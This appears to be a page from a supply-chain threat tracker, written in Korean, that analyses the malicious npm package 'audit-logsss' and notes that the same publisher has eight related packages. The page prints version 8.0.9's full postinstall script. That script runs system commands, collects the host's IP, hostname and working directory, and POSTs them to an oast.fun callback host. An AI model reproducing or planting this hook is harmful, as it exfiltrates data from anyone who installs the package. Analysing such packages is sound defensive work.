// npm 패키지

audit-logsss

security holding package

npmjs.com tarball repo

버전

메인테이너

최초 publish

2026-05-22

publisher

npm

tarball

430 B

AUTO-PUBLISHED·2개 버전 인덱싱됨·최근 publish: 2026-06-01

// publisher 캠페인by npm

이 계정에서 catch된 패키지 9건

고립된 catch가 아닙니다. 동일 publisher가 8개의 다른 패키지를 추가로 발행했고, 모두 파이프라인이 catch했습니다 — 일회성이 아닌 조직적 캠페인의 형태. 아래 링크는 각 형제 catch의 분석으로 이동합니다.

// offending code· @0.0.1-security· no static-pattern hits

@0.0.1-security·2026-06-01·AUTO-PUBLISHED·publisher: npm
heuristic 75/100
static flags 0
llm skipped
new-publisher:19dtiny-tarball:430bfirst-version-of-packageosv-flagged:MAL-2026-4487
// offending code· no static-pattern hits
```
--- package.json (entry) ---
{
  "name": "audit-logsss",
  "version": "0.0.1-security",
  "description": "security holding package",
  "repository": "npm/security-holder"
}
```
@8.0.9·2026-05-22·AUTO-PUBLISHED·publisher: fwgewgewgewrhgw
heuristic 95/100
static flags 6

--- install scripts --- ### postinstall node -e "const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'audit-logs', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'yihpvsviuggxabauqtuedjfyzjlrtkpzx.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });" --- package/package.json (excerpt) --- { "name": "audit-logsss", "version": "8.0.9", "description": "audit-logs", "main": "index.js", "scripts": { "postinstall": "node -e \"const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'audit-logs', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'yihpvsviuggxabauqtuedjfyzjlrtkpzx.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });\"" } } --- dynamic destinations --- → yihpvsviuggxabauqtuedjfyzjlrtkpzx.oast.fun (via hostname-var)